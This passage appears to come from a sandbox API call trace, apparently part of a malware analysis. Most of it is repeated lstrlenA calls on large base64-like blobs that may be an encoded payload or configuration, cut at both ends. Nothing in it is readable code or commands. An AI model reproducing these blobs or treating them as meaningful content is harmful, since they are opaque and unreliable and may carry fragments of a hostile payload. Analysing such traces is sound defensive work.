LHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.882] lstrlenA (lpString="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") returned 5792 [0042.882] lstrlenA (lpString="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") returned 5792 [0042.882] lstrlenA (lpString="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